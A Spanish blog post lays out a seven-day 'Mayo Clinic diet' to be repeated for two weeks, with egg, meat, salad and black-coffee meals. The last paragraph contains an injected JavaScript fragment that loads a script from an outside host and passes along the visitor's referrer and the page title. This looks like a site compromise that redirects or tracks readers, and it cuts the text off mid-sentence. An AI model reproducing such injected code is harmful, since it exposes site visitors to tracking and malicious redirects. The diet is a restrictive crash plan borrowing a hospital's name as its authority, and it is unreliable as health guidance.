Salud y belleza » Dieta

Clínica Mayo, plan alimenticio

Sin Comentarios

La mundial y famosa Clínica Mayo es una entidad sin ánimo de lucro dedicada a la práctica médica con sede central en Rochester, Minnesota. El nombre en sí, es casi toda una marca y, por qué no, una garantía de confianza; las instalaciones poseen un alto nivel y los profesionales que ingresan en la clínica, los más altos títulos académicos.

La fama de la Clínica Mayo ha hecho que, en varios puntos estratégicos del planeta, se hayan abierto sucursales de este grandioso Hospital con su distintivo sello.

Menudos argumentos para confiar en una de las dietas más famosas que, a continuación, veremos: la dieta Clínica Mayo. En efecto, este plan alimenticio tiene gran reconocimiento y está apuntado a aquellos amantes de la cocina a la plancha y, principalmente, a quienes gustan de las dietas intermedias (dura dos semanas, no es ni tan larga, ni tan corta).

Aquí el plan acomodado en un orden de siete días (obviamente, se repite para mantenerlo durante quince).

Día número uno.

Desayuno: café sin azúcar

Comida: dos huevos duros, espinacas y un tomate.

Cena: un filete a la parrilla y ensalada verde con jugo de limón.

Día número dos.

Desayuno: café sin azúcar

Comida: un filete, ensalada con limón y aceite y, luego, una fruta

Cena: 150 gr. de jamón cocido y un yogur sin azúcar

Día número tres.

Desayuno: café sin azúcar

Comida: un filete con apio y tomate; una naranja

Cena: dos huevos duros, 80 gr. de jamón planchado y una ensalada verde con limón

Día número cuatro.

Desayuno: café sin azúcar

Comida: un huevo duro con zanahoria cocida acompañado de 60 gr. de jamón planchado

Cena: ensalada de frutas y un yogur sin azúcar

Día número cinco.

Desayuno: zanahorias ralladas con limón

Comida: pescado blanco a la plancha; ensalada verde

Cena: filete con hinojos, tomate y apio

Día número seis.

Desayuno: café solo y una tostada

Comida: un cuarto de pollo asado; ensalada verde

Cena: dos huevos duros; una zanahoria rallada con limón

Día número siete.

Desayuno: té sin azúcar

Comida: 200 gr. de pierna de cordero a la plancha y, de postre, una naranja

Cena: pescado y arroz con tomate en ensalada.

Tal como vemos, el plan presenta siete días y la dieta se debe mantener por quince. Así se recomienda, obviamente, aplicar este mismo sistema por otra semana pero cambiando el orden a gusto. Por otra parte, se debe mantener, como se dijo, solo por quince días y luego volver a la rutina de siempre para no forzar el organismo.s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if (document.currentScript) {

Más consejos de salud y belleza : , ,

Publique su Comentario !

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.